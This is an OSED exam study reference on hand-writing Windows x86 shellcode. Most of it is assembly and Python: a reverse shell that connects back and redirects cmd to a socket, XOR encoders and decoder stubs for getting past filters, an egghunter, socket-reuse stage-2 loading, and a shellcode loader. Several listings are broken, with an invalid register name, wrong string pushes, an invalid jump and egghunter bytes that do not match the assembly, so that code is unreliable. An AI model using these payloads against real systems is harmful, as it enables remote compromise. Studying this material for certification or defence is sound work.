> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/exploit-development/shellcode-from-scratch.md).

# Shellcode from Scratch — OSED Study Reference

> **EXP-301 / OSED** | Offensive Security Exploit Developer\
> Win32 x86 Shellcode Development, Position-Independent Code & Encoding

***

## Table of Contents

1. [Overview](#overview)
2. [Environment Setup](#environment-setup)
3. [x86 Architecture Primer](#x86-architecture-primer)
4. [Assembly Fundamentals](#assembly-fundamentals)
5. [Win32 API & the PEB](#win32-api--the-peb)
6. [Finding kernel32.dll via PEB Walk](#finding-kernel32dll-via-peb-walk)
7. [Resolving API Addresses by Hash](#resolving-api-addresses-by-hash)
8. [Writing a MessageBox Shellcode](#writing-a-messagebox-shellcode)
9. [Writing a Reverse Shell Shellcode](#writing-a-reverse-shell-shellcode)
10. [Null-Byte & Bad Character Avoidance](#null-byte--bad-character-avoidance)
11. [Shellcode Encoding — XOR Encoder](#shellcode-encoding--xor-encoder)
12. [Custom Decoder Stub](#custom-decoder-stub)
13. [Egghunter Shellcode](#egghunter-shellcode)
14. [Socket Reuse Shellcode](#socket-reuse-shellcode)
15. [Position-Independent Code (PIC) Techniques](#position-independent-code-pic-techniques)
16. [Extracting Raw Shellcode](#extracting-raw-shellcode)
17. [Testing & Debugging Shellcode](#testing--debugging-shellcode)
18. [Quick Reference — Common APIs](#quick-reference--common-apis)
19. [Useful Python Snippets](#useful-python-snippets)
20. [Resources](#resources)

***

## Overview

OSED (EXP-301) requires writing **custom, position-independent shellcode** in x86 assembly for Windows targets. Unlike using msfvenom payloads, you must:

* Dynamically resolve Win32 API addresses at runtime
* Avoid bad characters (null bytes, `\x0a`, `\x0d`, etc.)
* Encode shellcode to bypass input filters
* Write egghunters for staged exploitation
* Reuse existing sockets when possible

All shellcode must be **PIC** — it cannot rely on fixed addresses.

***

## Environment Setup

### Tools Required

| Tool                           | Purpose                        |
| ------------------------------ | ------------------------------ |
| **NASM**                       | Assembler (`nasm.us`)          |
| **WinDbg / x64dbg / Immunity** | Debugger                       |
| **Python 3**                   | Shellcode extraction & testing |
| **Visual Studio** (MSVC)       | C harness for testing          |
| **keystone-engine**            | Python assembler library       |
| **pwntools**                   | Shellcode helpers              |

### NASM Install (Kali/Linux)

```bash
sudo apt install nasm
```

### Assemble & Link (Windows — NASM + GoLink)

```bash
nasm -f win32 shellcode.asm -o shellcode.obj
golink /entry:start shellcode.obj
```

### Assemble to flat binary

```bash
nasm -f bin shellcode.asm -o shellcode.bin
```

### C Test Harness (MSVC)

```c
#include <windows.h>
#include <stdio.h>

// Paste shellcode bytes here
unsigned char shellcode[] = "\x90\x90...";

int main() {
    LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode),
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);
    memcpy(mem, shellcode, sizeof(shellcode));
    ((void(*)())mem)();
    return 0;
}
```

***

## x86 Architecture Primer

### General Purpose Registers

| Register | 16-bit | 8-bit High | 8-bit Low | Common Use               |
| -------- | ------ | ---------- | --------- | ------------------------ |
| EAX      | AX     | AH         | AL        | Return value, arithmetic |
| EBX      | BX     | BH         | BL        | Base register, preserved |
| ECX      | CX     | CH         | CL        | Counter (loops, shifts)  |
| EDX      | DX     | DH         | DL        | Data, I/O                |
| ESI      | SI     | —          | —         | Source index             |
| EDI      | DI     | —          | —         | Destination index        |
| ESP      | SP     | —          | —         | Stack pointer            |
| EBP      | BP     | —          | —         | Base pointer (frame)     |

### Special Registers

| Register | Purpose                           |
| -------- | --------------------------------- |
| EIP      | Instruction pointer               |
| EFLAGS   | Condition flags (ZF, CF, SF, OF…) |
| FS       | Segment register → TEB on Windows |

### Stack

* Grows **downward** (high → low addresses)
* `PUSH` → ESP -= 4, writes value
* `POP` → reads value, ESP += 4
* `CALL` → pushes EIP+delta, jumps
* `RET` → pops EIP

### Calling Convention — stdcall (Win32 API)

```asm
; Arguments pushed right-to-left
; Callee cleans the stack
; Return value in EAX

push arg_last
push arg_first
call SomeFunction   ; stack balanced by callee (RETN N)
```

***

## Assembly Fundamentals

### NASM Syntax Essentials

```nasm
; Comments with semicolons

section .text
global _start

_start:
    ; Move immediate into register
    mov eax, 0x1234

    ; Move memory into register (dereference)
    mov eax, [ebx]
    mov eax, [ebx + 0x10]

    ; Arithmetic
    add eax, 4
    sub esp, 0x10
    xor eax, eax        ; zero out eax (no null bytes!)
    inc eax             ; eax++
    dec ecx             ; ecx--

    ; Bitwise
    and eax, 0x0f
    or  eax, 0x20
    shl eax, 4          ; shift left 4 bits
    shr eax, 4

    ; Stack
    push eax
    pop  ebx

    ; Loops
    mov ecx, 10
.loop:
    ; ... loop body ...
    loop .loop          ; dec ecx; jnz .loop

    ; Comparisons & Jumps
    cmp eax, 0
    je  .zero           ; jump if equal (ZF=1)
    jne .not_zero
    jz  .zero           ; same as je
    jnz .not_zero
    jmp .somewhere

    ; String operations (direction flag must be clear — CLD)
    cld
    rep movsb           ; copy ECX bytes from ESI to EDI

    ; Call & Ret
    call some_function
    ret
```

### Zeroing Registers (No Null Bytes)

```nasm
xor  eax, eax      ; 2 bytes: 31 C0
push eax
pop  eax
sub  eax, eax
```

### Pushing Strings onto Stack (No Null Bytes)

```nasm
; Push "calc" — 4 bytes, no null
push 0x636c6163     ; "calc" in little-endian
mov  ebx, esp

; Push "cmd\0" — pad with null using xor trick
xor  eax, eax
push eax            ; null terminator
push 0x20646d63     ; " dmc" → adjust for "cmd\0"
```

### CALL/POP — Get Current EIP

```nasm
    call get_eip
get_eip:
    pop ebx         ; EBX = address of "get_eip" label
```

***

## Win32 API & the PEB

### Thread Environment Block (TEB)

On x86 Windows, `FS:[0x30]` points to the **PEB** (Process Environment Block).

```
FS:[0x18]  → TEB base address
FS:[0x30]  → PEB pointer
```

### Process Environment Block (PEB)

```
PEB + 0x0C  → PEB_LDR_DATA pointer
```

### PEB\_LDR\_DATA

```
PEB_LDR_DATA + 0x14 → InMemoryOrderModuleList (doubly-linked LIST_ENTRY)
```

### LDR\_DATA\_TABLE\_ENTRY

Each module in the list:

```
+0x00  Flink (InMemoryOrderLinks.Flink)
+0x04  Blink
+0x10  DllBase          ← base address of the DLL
+0x18  FullDllName      ← UNICODE_STRING (len, maxlen, buffer ptr)
+0x28  BaseDllName      ← UNICODE_STRING
```

> **Note**: The `InMemoryOrderModuleList` Flink points to offset `+0x08` of the\
> `LDR_DATA_TABLE_ENTRY`, so subtract 0x08 to reach the structure base —\
> or access DllBase at `[Flink + 0x10]` (offset 0x18 - 0x08 = 0x10).

### Module Load Order (InMemoryOrder)

1. The process executable itself
2. `ntdll.dll`
3. `kernel32.dll` ← what we want

***

## Finding kernel32.dll via PEB Walk

```nasm
; ============================================================
; Find kernel32.dll base via PEB walk
; Result: EBX = kernel32.dll base address
; ============================================================

find_kernel32:
    xor  eax, eax
    mov  eax, fs:[eax + 0x30]   ; EAX = PEB
    mov  eax, [eax + 0x0C]      ; EAX = PEB_LDR_DATA
    mov  esi, [eax + 0x14]      ; ESI = InMemoryOrderModuleList.Flink
                                 ;       (1st entry = exe itself)
    lodsd                        ; EAX = 2nd entry (ntdll.dll), ESI advances
    xchg eax, esi
    lodsd                        ; EAX = 3rd entry (kernel32.dll)
    mov  ebx, [eax + 0x10]      ; EBX = kernel32.dll DllBase
    ret
```

***

## Resolving API Addresses by Hash

Instead of storing plaintext API names, we hash them and compare against the **export directory** at runtime.

### ROR-13 Hash Algorithm

```python
def ror13_hash(name: str) -> int:
    h = 0
    for c in name:
        h = ((h >> 13) | (h << (32 - 13))) & 0xFFFFFFFF
        h = (h + ord(c)) & 0xFFFFFFFF
    return h

# Examples
print(hex(ror13_hash("LoadLibraryA")))   # 0xec0e4e8e
print(hex(ror13_hash("CreateProcessA"))) # 0x16b3fe72
print(hex(ror13_hash("WinExec")))        # 0x98fe8a0e
print(hex(ror13_hash("ExitProcess")))    # 0x4fd18963
```

### Export Directory Walk + Hash Compare

```nasm
; ============================================================
; Resolve API address by ROR-13 hash
; Input:  EBX = DLL base, EDX = target hash
; Output: EAX = function address
; Clobbers: ECX, ESI, EDI
; ============================================================

find_function:
    push ebp
    mov  ebp, esp
    push ebx                    ; save DLL base

    ; --- locate export directory ---
    mov  eax, [ebx + 0x3C]     ; e_lfanew (PE header offset)
    mov  edi, [ebx + eax + 0x78] ; ExportDirectory RVA
    add  edi, ebx               ; EDI = VA of ExportDirectory

    mov  ecx, [edi + 0x18]      ; NumberOfNames
    mov  eax, [edi + 0x20]      ; AddressOfNames RVA
    add  eax, ebx               ; EAX = VA of AddressOfNames

    push eax                    ; save names array

.next_function_loop:
    jecxz .end                  ; if ECX==0, not found
    dec   ecx
    mov   esi, [eax + ecx*4]   ; RVA of function name
    add   esi, ebx              ; ESI = VA of name string

    ; --- compute ROR-13 hash of this name ---
    push  ecx
    push  edi
    xor   edi, edi
    xor   eax, eax
    cld

.compute_hash_loop:
    lodsb                       ; AL = next char
    test  al, al
    jz    .hash_done
    ; ROR EDI, 13
    ror   edi, 0x0D
    add   edi, eax
    jmp   .compute_hash_loop

.hash_done:
    pop   edi
    pop   ecx

    cmp   edi, edx              ; compare hash with target
    jnz   .next_function_loop

    ; --- found: resolve address ---
    pop   eax                   ; restore names array
    mov   esi, [edi + 0x24]    ; AddressOfNameOrdinals RVA
    add   esi, ebx
    mov   cx,  [esi + ecx*2]   ; ordinal
    mov   esi, [edi + 0x1C]    ; AddressOfFunctions RVA
    add   esi, ebx
    mov   eax, [esi + ecx*4]   ; function RVA
    add   eax, ebx             ; EAX = function VA

.end:
    pop   ebx
    pop   ebp
    ret
```

***

## Writing a MessageBox Shellcode

```nasm
; ============================================================
; MessageBox("pwned", "OSED") shellcode — x86 Windows
; ============================================================

[BITS 32]
[ORG 0]

global _start

_start:
    cld                         ; clear direction flag

    ; --- find kernel32.dll ---
    call find_kernel32
    ; EBX = kernel32 base

    ; --- resolve LoadLibraryA ---
    push 0xec0e4e8e             ; hash of "LoadLibraryA" (example)
    push ebx
    call find_function
    mov  [LoadLibraryA], eax

    ; --- load user32.dll ---
    xor  eax, eax
    push eax
    push 0x32327265             ; "r22"
    push 0x73752e6c             ; "l.su"
    push 0x6c643300             ; tricky — adjust for "user32.dll\0"
    ; ... adjust string construction as needed ...

    ; ... (resolve MessageBoxA from user32, then call) ...

    ; --- ExitProcess(0) ---
    xor  eax, eax
    push eax
    push 0x4fd18963             ; hash of "ExitProcess"
    push ebx
    call find_function
    xor  ecx, ecx
    push ecx
    call eax

LoadLibraryA dd 0
```

> For brevity, full string construction is shown in the reverse shell below.\
> The pattern is always: push null-terminated string onto stack, push args, call resolved API.

***

## Writing a Reverse Shell Shellcode

This is the canonical OSED exercise. The flow is:

```
kernel32 base
  → resolve: LoadLibraryA, WSAStartup, WSASocketA,
             WSAConnect, CreateProcessA, ExitProcess
  → load ws2_32.dll
  → WSAStartup
  → WSASocketA   → get socket handle
  → WSAConnect   → connect to attacker
  → CreateProcessA with STARTUPINFO redirecting stdin/stdout/stderr
    to the socket
```

```nasm
; ============================================================
; Reverse Shell Shellcode — 127.0.0.1:4444
; ============================================================

[BITS 32]

global _start

%define LHOST 0x0100007f        ; 127.0.0.1 in network byte order
%define LPORT 0x5c11            ; 4444 (0x115c) big-endian → 0x5c11

_start:
    cld
    sub  esp, 0x200             ; allocate local workspace
    call get_eip
get_eip:
    pop  ebp                    ; EBP = current address (PIC base)

    ; ==============================
    ; 1. Find kernel32
    ; ==============================
    xor  eax, eax
    mov  eax, fs:[eax+0x30]    ; PEB
    mov  eax, [eax+0x0C]       ; LDR
    mov  esi, [eax+0x14]       ; InMemoryOrderModuleList
    lodsd
    xchg eax, esi
    lodsd
    mov  ebx, [eax+0x10]       ; EBX = kernel32 base

    ; ==============================
    ; 2. Resolve kernel32 APIs
    ; ==============================

    ; LoadLibraryA
    push 0xec0e4e8e
    push ebx
    call find_function
    mov  [ebp+LoadLibraryA_off], eax

    ; CreateProcessA
    push 0x16b3fe72
    push ebx
    call find_function
    mov  [ebp+CreateProcessA_off], eax

    ; ExitProcess
    push 0x4fd18963
    push ebx
    call find_function
    mov  [ebp+ExitProcess_off], eax

    ; ==============================
    ; 3. Load ws2_32.dll
    ; ==============================
    xor  eax, eax
    push eax
    push 0x32335f32             ; "23_2" → building "ws2_32.dll"
    push 0x737732e2             ; ...
    ; Correct string: "ws2_32.dll\0"
    ; Push bytes in reverse, padded to DWORD boundaries:
    ; \x00\x6c\x6c\x64 = "\0lld"
    push 0x00646c6c
    ; \x2e\x32\x33\x5f = ".23_"
    push 0x5f33322e
    ; \x73\x77\x32\x00 ← this has null! use alternative:
    ; push 0x73773200 — avoid null with XOR trick
    xor  ecx, ecx
    push ecx                    ; null terminator
    push 0x32327377             ; "22sw" → "ws22" little-endian

    ; Simpler: build on stack using XOR to avoid nulls
    ; See note below for clean approach

    mov  eax, [ebp+LoadLibraryA_off]
    lea  ecx, [esp]
    push ecx
    call eax                    ; LoadLibraryA("ws2_32.dll")
    mov  esi, eax               ; ESI = ws2_32.dll base

    ; ==============================
    ; 4. Resolve ws2_32 APIs
    ; ==============================

    ; WSAStartup — hash varies; compute with ror13_hash("WSAStartup")
    push 0x006b8029
    push esi
    call find_function
    mov  [ebp+WSAStartup_off], eax

    ; WSASocketA
    push 0xe0df0fea
    push esi
    call find_function
    mov  [ebp+WSASocketA_off], eax

    ; WSAConnect
    push 0x60aaf9ec
    push esi
    call find_function
    mov  [ebp+WSAConnect_off], eax

    ; ==============================
    ; 5. WSAStartup(0x0202, &wsadata)
    ; ==============================
    sub  esp, 0x200             ; space for WSADATA (408 bytes)
    mov  eax, esp
    push eax                    ; lpWSAData
    push 0x0202                 ; wVersionRequested
    call [ebp+WSAStartup_off]

    ; ==============================
    ; 6. WSASocketA(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0)
    ; ==============================
    xor  eax, eax
    push eax                    ; dwFlags = 0
    push eax                    ; g = 0
    push eax                    ; lpProtocolInfo = NULL
    push 6                      ; IPPROTO_TCP
    push 1                      ; SOCK_STREAM
    push 2                      ; AF_INET
    call [ebp+WSASocketA_off]
    mov  edi, eax               ; EDI = socket handle

    ; ==============================
    ; 7. WSAConnect to attacker
    ; ==============================
    ; Build sockaddr_in on stack:
    ;   sin_family = AF_INET (2)
    ;   sin_port   = LPORT (big-endian)
    ;   sin_addr   = LHOST
    xor  eax, eax
    push eax                    ; sin_zero[4]
    push eax                    ; sin_zero[4]
    push LHOST                  ; sin_addr = 127.0.0.1
    push LPORT                  ; sin_port = 4444 (big-endian)
    push 2                      ; sin_family = AF_INET
    mov  eax, esp               ; EAX = &sockaddr_in

    push 0x10                   ; namelen = 16
    push eax                    ; name = &sockaddr_in
    push edi                    ; s = socket
    call [ebp+WSAConnect_off]

    ; ==============================
    ; 8. CreateProcessA("cmd", ...)
    ;    Redirect stdin/stdout/stderr → socket
    ; ==============================
    ; Build STARTUPINFOA on stack (68 bytes)
    ; Key fields: cb=68, dwFlags=STARTF_USESTDHANDLES(0x100)
    ;             hStdInput=hStdOutput=hStdError=socket

    xor  eax, eax

    ; Push STARTUPINFOA members (in reverse)
    push edi                    ; hStdError   = socket
    push edi                    ; hStdOutput  = socket
    push edi                    ; hStdInput   = socket
    push eax                    ; hStdError (fill)
    push eax
    push eax
    push eax
    push eax
    push eax
    push eax
    push 0x00000100             ; dwFlags = STARTF_USESTDHANDLES
    push eax                    ; dwFillAttribute
    push eax                    ; dwYCountChars
    push eax                    ; dwXCountChars
    push eax                    ; dwYSize
    push eax                    ; dwXSize
    push eax                    ; dwY
    push eax                    ; dwX
    push eax                    ; lpTitle
    push eax                    ; lpDesktop
    push eax                    ; lpReserved
    push 0x44                   ; cb = 68 (sizeof STARTUPINFOA)
    mov  esi, esp               ; ESI = &STARTUPINFOA

    ; Build PROCESS_INFORMATION (16 bytes)
    push eax
    push eax
    push eax
    push eax
    mov  edi2, esp              ; EDI2 = &PROCESS_INFORMATION
    ; (use ECX or stack var instead of EDI2 — pseudo-code above)

    ; CreateProcessA args
    push esp                    ; lpProcessInformation
    push esi                    ; lpStartupInfo
    push eax                    ; lpCurrentDirectory = NULL
    push eax                    ; lpEnvironment = NULL
    push eax                    ; dwCreationFlags = 0
    push eax                    ; bInheritHandles = FALSE (use TRUE=1)
    inc  eax
    push eax                    ; bInheritHandles = TRUE
    dec  eax
    push eax                    ; lpThreadAttributes = NULL
    push eax                    ; lpProcessAttributes = NULL

    ; push "cmd\0" — use XOR to avoid null byte
    push 0x646d6300             ; "dmc\0" — has null! use trick:
    ; better: mov dword [esp-4], 0x646d63 then adjust

    ; Push ptr to "cmd\0" string
    mov  ecx, esp
    push ecx                    ; lpCommandLine

    push eax                    ; lpApplicationName = NULL
    call [ebp+CreateProcessA_off]

    ; ==============================
    ; 9. ExitProcess(0)
    ; ==============================
    xor  eax, eax
    push eax
    call [ebp+ExitProcess_off]

; ---- Offsets for local variable storage (relative to EBP) ----
LoadLibraryA_off    equ -4
CreateProcessA_off  equ -8
ExitProcess_off     equ -12
WSAStartup_off      equ -16
WSASocketA_off      equ -20
WSAConnect_off      equ -24

; ---- find_function subroutine (see above) ----
find_function:
    ; ... (same as the export walk shown earlier) ...
    ret
```

> **Note**: The above is an annotated reference skeleton. Real shellcode requires\
> careful byte-level alignment, correct endianness for all pushes, and\
> verified hashes for your target OS. Always test in a debugger.

***

## Null-Byte & Bad Character Avoidance

### Common Bad Characters

| Context      | Bad Characters      |
| ------------ | ------------------- |
| strcpy       | `\x00`              |
| HTTP GET     | `\x00 \x0a \x0d`    |
| sprintf      | `\x00 \x25` (`%`)   |
| Unicode apps | `\x00` + high bytes |

### Techniques

#### Zero a register without `\x00`

```nasm
xor eax, eax        ; 31 C0
push eax \ pop eax  ; only useful for copy, not zero
sub eax, eax        ; 29 C0
```

#### Push null-terminated string without null bytes

```nasm
; "cmd\0" — push null separately
xor  eax, eax
push eax            ; \x00\x00\x00\x00 (null terminator)
push 0x646d63FF     ; "dmc?" then fix the 0xFF byte
; OR: construct on heap and null-terminate via XOR
```

#### Arithmetic trick — avoid `\x00` immediate

```nasm
; Instead of: mov eax, 0x00000001
mov eax, 0x01010101
sub eax, 0x01010100     ; EAX = 0x00000001 (no null in encoding)
```

#### Avoiding `\x0a` / `\x0d` in addresses

Use `jmp short` + `nop` sleds to shift relative offsets away from bad values.

#### Finding bad chars — Python

```python
bad = [0x00, 0x0a, 0x0d]

shellcode = b"\x90" * 16 + b"YOUR_SHELLCODE_HERE"

for i, byte in enumerate(shellcode):
    if byte in bad:
        print(f"Bad char {hex(byte)} at offset {i}")
```

***

## Shellcode Encoding — XOR Encoder

### Python XOR Encoder

```python
#!/usr/bin/env python3
# xor_encode.py

import sys

KEY = 0xAA  # single-byte XOR key — pick one with no bad chars

shellcode = (
    b"\x90\x90\x90"   # replace with your shellcode
)

encoded = bytes([b ^ KEY for b in shellcode])

print(f"[*] Original length : {len(shellcode)} bytes")
print(f"[*] XOR key         : {hex(KEY)}")
print(f"[*] Encoded shellcode:")
print("\\x" + "\\x".join(f"{b:02x}" for b in encoded))
```

### Multi-byte XOR Encoder

```python
KEY = b"\xAA\xBB\xCC\xDD"  # 4-byte rotating key

encoded = bytes([shellcode[i] ^ KEY[i % len(KEY)] for i in range(len(shellcode))])
```

***

## Custom Decoder Stub

The decoder runs first, decodes the shellcode in-place, then jumps to it.

```nasm
; ============================================================
; XOR Decoder Stub — key = 0xAA, single byte
; ============================================================

[BITS 32]

decoder:
    call  get_shellcode_addr
    ; After call, stack has the address of encoded_shellcode

get_shellcode_addr:
    pop   esi                   ; ESI = address of encoded_shellcode

    xor   ecx, ecx
    mov   cl, shellcode_len     ; ECX = length

decode_loop:
    xor   byte [esi], 0xAA     ; decode one byte
    inc   esi
    loop  decode_loop           ; dec ECX; jnz

    ; jump to decoded shellcode
    call  get_shellcode_addr    ; re-resolve (dirty trick)
    ; cleaner: jmp to original ESI-shellcode_len

encoded_shellcode:
    ; paste XOR-encoded bytes here
    db 0x3a, 0x3a, ...

shellcode_len equ $ - encoded_shellcode
```

### Cleaner CALL/JMP Decoder

```nasm
decoder:
    jmp  short call_shellcode

decode_loop:
    pop  esi                    ; ESI = &encoded_shellcode
    xor  ecx, ecx
    mov  cl, len

.loop:
    xor  byte [esi + ecx - 1], 0xAA
    dec  ecx
    jnz  .loop
    jmp  esi                    ; execute decoded shellcode

call_shellcode:
    call decode_loop
encoded_shellcode:
    db ...                      ; encoded bytes here
len equ $ - encoded_shellcode
```

***

## Egghunter Shellcode

Used when only a small buffer is injectable but the full shellcode is somewhere in memory.

### How It Works

1. Place a **tag** (egg) immediately before your large shellcode in memory
2. Inject the tiny egghunter into the limited buffer
3. Egghunter searches process memory for the tag
4. Jumps to shellcode after the tag

### Tag (Egg)

```python
EGG = b"w00tw00t"   # 8 bytes: egg repeated twice (marker must be unique)
```

### NtAccessCheckAndAuditAlarm Egghunter (32 bytes)

This is the classic OSED egghunter — uses `NtAccessCheckAndAuditAlarm` (syscall 0x02) to probe pages without crashing.

```nasm
; ============================================================
; Egghunter — searches for egg "w00t" * 2 = "w00tw00t"
; ============================================================

[BITS 32]

egghunter:
    cld
    xor  edx, edx

next_page:
    or   dx, 0x0fff             ; round up to page boundary

next_addr:
    inc  edx                    ; EDX = next address to check
    pushad
    push 0x02                   ; syscall NtAccessCheckAndAuditAlarm
    pop  eax
    lea  ebx, [edx+0x04]
    int  0x2e                   ; invoke syscall
    cmp  al, 0x05               ; EACCESS? (0xc0000005 → access violation)
    popad
    je   next_page              ; bad page — skip

    mov  eax, 0x74303077        ; "w00t" in little-endian
    cmp  [edx], eax             ; first "w00t"?
    jnz  next_addr
    cmp  [edx+4], eax           ; second "w00t"?
    jnz  next_addr
    jmp  edx+8                  ; jump past egg to shellcode
```

### Python — Generate Egghunter

```python
egghunter = (
    b"\xfc"                     # cld
    b"\x31\xd2"                 # xor edx, edx
    b"\x66\x81\xca\xff\x0f"    # or dx, 0x0fff
    b"\x42"                     # inc edx
    b"\x52"                     # push edx
    b"\x6a\x02"                 # push 0x02
    b"\x58"                     # pop eax
    b"\xcd\x2e"                 # int 0x2e
    b"\x3c\x05"                 # cmp al, 0x05
    b"\x5a"                     # pop edx
    b"\x74\xef"                 # je next_page
    b"\xb8\x77\x30\x30\x74"    # mov eax, 'w00t'
    b"\x89\xd7"                 # mov edi, edx
    b"\xaf"                     # scasd
    b"\x75\xea"                 # jnz next_addr
    b"\xaf"                     # scasd (check second copy)
    b"\x75\xe7"                 # jnz next_addr
    b"\xff\xe7"                 # jmp edi
)

print(f"Egghunter length: {len(egghunter)} bytes")
print("\\x" + "\\x".join(f"{b:02x}" for b in egghunter))
```

### Sending Payload

```python
EGG    = b"w00tw00t"
SC     = b"\x90" * 16 + b"<YOUR_SHELLCODE>"
payload = EGG + SC              # place in a large buffer

# Send egghunter separately in the limited overflow
```

***

## Socket Reuse Shellcode

When a socket already exists (e.g., the vulnerable service socket), reuse it instead of making a new connection.

### Strategy

1. Find the socket handle (iterate handles or use the leaked value)
2. Call `recv()` to receive stage-2 shellcode
3. Jump to received shellcode

```nasm
; Simplified socket reuse skeleton
; Assumes socket handle is known (e.g., stored via leak or brute-forced)

    push 0                      ; flags
    push shellcode_len          ; len
    push buffer_addr            ; buf
    push socket_handle          ; s
    call [recv]                 ; recv(s, buf, len, 0)
    jmp  buffer_addr            ; execute received shellcode
```

### Finding Socket Handle Dynamically

```python
# Python — brute-force socket handles
# Send increasingly numbered handles in shellcode until recv succeeds
for handle in range(0x50, 0x200, 4):
    try_handle(handle)
```

***

## Position-Independent Code (PIC) Techniques

### 1. CALL/POP to Find Own Address

```nasm
    call  .next
.next:
    pop   ebp           ; EBP = address of .next label
    ; Access data relative to EBP:
    lea   eax, [ebp + (data_label - .next)]
```

### 2. Delta Offset Pattern

```nasm
get_pc:
    call  get_pc_ret
get_pc_ret:
    pop   ebp
    sub   ebp, get_pc_ret   ; EBP = base of shellcode
```

### 3. JMP-CALL-POP (Classic)

```nasm
    jmp   short .data_ref

.code:
    pop   esi           ; ESI = ptr to string data

.data_ref:
    call  .code
    db    "http://evil.com", 0
```

### 4. Avoid Hardcoded Offsets

Never use absolute addresses like `mov eax, 0x7c801234`. Always resolve dynamically through PEB or via offsets relative to a known base.

***

## Extracting Raw Shellcode

### From NASM binary

```bash
nasm -f bin shellcode.asm -o shellcode.bin
xxd -i shellcode.bin
```

### Python extraction from binary

```python
with open("shellcode.bin", "rb") as f:
    sc = f.read()

print(f"Length: {len(sc)} bytes")
print('"' + "".join(f"\\x{b:02x}" for b in sc) + '"')
```

### From EXE/OBJ with objdump

```bash
objdump -d shellcode.exe | grep -Po "(?<=:\t)([0-9a-f]{2} )+" | tr -d " \n" | sed 's/../\\x&/g'
```

### From compiled EXE with pwntools

```python
from pwn import *

elf = ELF("shellcode.exe")
sc = elf.section(".text")
print(sc.hex())
```

***

## Testing & Debugging Shellcode

### C Loader (32-bit, MSVC)

```c
#include <windows.h>
#include <stdio.h>

unsigned char sc[] =
    "\x90\x90\x90\x90"  // NOP sled
    "\x...";            // your shellcode

int main(void) {
    void *mem = VirtualAlloc(NULL, sizeof(sc),
                             MEM_COMMIT | MEM_RESERVE,
                             PAGE_EXECUTE_READWRITE);
    if (!mem) { puts("VirtualAlloc failed"); return 1; }

    memcpy(mem, sc, sizeof(sc));
    printf("[*] Shellcode at: %p\n", mem);
    printf("[*] Press Enter to execute...\n");
    getchar();

    ((void(*)(void))mem)();
    return 0;
}
```

Compile: `cl /Zi loader.c /link /MACHINE:X86`

### WinDbg Tips

```
bp address          ; set breakpoint
g                   ; go / continue
p                   ; step over
t                   ; step into
u eip               ; unassemble at EIP
dd esp              ; dump stack (DWORDs)
db eax              ; dump bytes at EAX
r                   ; show registers
!peb                ; dump PEB
lm                  ; list modules
```

### Immunity Debugger + mona.py

```python
!mona findmsp       ; find pattern offsets
!mona jmp -r esp    ; find JMP ESP gadgets
!mona egg -t w00t   ; generate egghunter
!mona compare -f C:\path\shellcode.bin -a 0x12345678
```

### x64dbg Script for Shellcode Testing

1. Load the C loader EXE
2. Set BP at the `call mem` instruction
3. Step into → you're now inside your shellcode
4. Step through with F7 / F8

***

## Quick Reference — Common APIs

| API              | DLL      | Key Args                  | Hash (ROR-13) |
| ---------------- | -------- | ------------------------- | ------------- |
| `WinExec`        | kernel32 | lpCmdLine, uCmdShow       | `0x98fe8a0e`  |
| `LoadLibraryA`   | kernel32 | lpLibFileName             | `0xec0e4e8e`  |
| `GetProcAddress` | kernel32 | hModule, lpProcName       | `0x7c0dfcaa`  |
| `CreateProcessA` | kernel32 | (many)                    | `0x16b3fe72`  |
| `ExitProcess`    | kernel32 | uExitCode                 | `0x4fd18963`  |
| `VirtualAlloc`   | kernel32 | addr, size, type, protect | `0xe553a458`  |
| `WSAStartup`     | ws2\_32  | wVersion, lpWSAData       | `0x006b8029`  |
| `WSASocketA`     | ws2\_32  | af, type, proto, …        | `0xe0df0fea`  |
| `WSAConnect`     | ws2\_32  | s, name, namelen, …       | `0x60aaf9ec`  |
| `recv`           | ws2\_32  | s, buf, len, flags        | `0x5fc8d902`  |
| `MessageBoxA`    | user32   | hWnd, text, caption, type | `0xbc4da2a8`  |

> **Always verify hashes** — compute with your own `ror13_hash()` for the\
> exact API name and target OS version.

***

## Useful Python Snippets

### Compute ROR-13 Hash

```python
def ror13(name: str) -> int:
    h = 0
    for c in name + "\x00":    # include null for some implementations
        h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF
        h = (h + ord(c)) & 0xFFFFFFFF
    return h

apis = ["LoadLibraryA", "CreateProcessA", "ExitProcess",
        "WinExec", "WSAStartup", "WSASocketA", "WSAConnect"]
for a in apis:
    print(f"{a:25s}  {hex(ror13(a))}")
```

### Bad Character Check

```python
def check_bad_chars(sc: bytes, bad: list) -> None:
    for i, b in enumerate(sc):
        if b in bad:
            print(f"  [!] Bad char {hex(b)} at offset {i}")

bad_chars = [0x00, 0x0a, 0x0d, 0x20]
check_bad_chars(shellcode, bad_chars)
```

### IP / Port to Network Bytes

```python
import socket, struct

def ip_to_hex(ip: str) -> str:
    packed = socket.inet_aton(ip)
    return hex(struct.unpack(">I", packed)[0])

def port_to_hex(port: int) -> str:
    return hex(socket.htons(port))

print(ip_to_hex("192.168.1.10"))    # → 0xc0a8010a
print(port_to_hex(4444))            # → 0x5c11
```

### Generate Pattern

```python
from pwn import cyclic, cyclic_find

pattern = cyclic(500)
print(pattern)

# After crash:
offset = cyclic_find(0x61616166)    # value from EIP
print(f"Offset: {offset}")
```

### Keystone Assemble

```python
from keystone import *

ks = Ks(KS_ARCH_X86, KS_MODE_32)
code = """
    xor eax, eax
    push eax
    push 0x636c6163
    mov eax, esp
    push eax
    call 0x7c8614d0
"""
encoding, count = ks.asm(code)
sc = bytes(encoding)
print(f"\\x" + "\\x".join(f"{b:02x}" for b in sc))
```

***

## Resources

### Official

* [OSED / EXP-301 Syllabus](https://www.offensive-security.com/exp301-osed/)
* [Windows Exploit Development — OffSec Learning Library](https://help.offensive-security.com/)

### Books

* *Hacking: The Art of Exploitation* — Jon Erickson
* *The Shellcoder's Handbook* — Anley, Heasman, Lindner, Richarte
* *Windows Internals* — Yosifovich et al.

### References

* [Intel x86 Instruction Reference](https://www.intel.com/content/www/us/en/developer/articles/technical/intel-sdm.html)
* [NASM Documentation](https://www.nasm.us/doc/)
* [Vividmachines — Shellcode Writing](http://vividmachines.com/shellcode/shellcode.html)
* [Exploit-db Shellcode Archive](https://www.exploit-db.com/shellcodes)
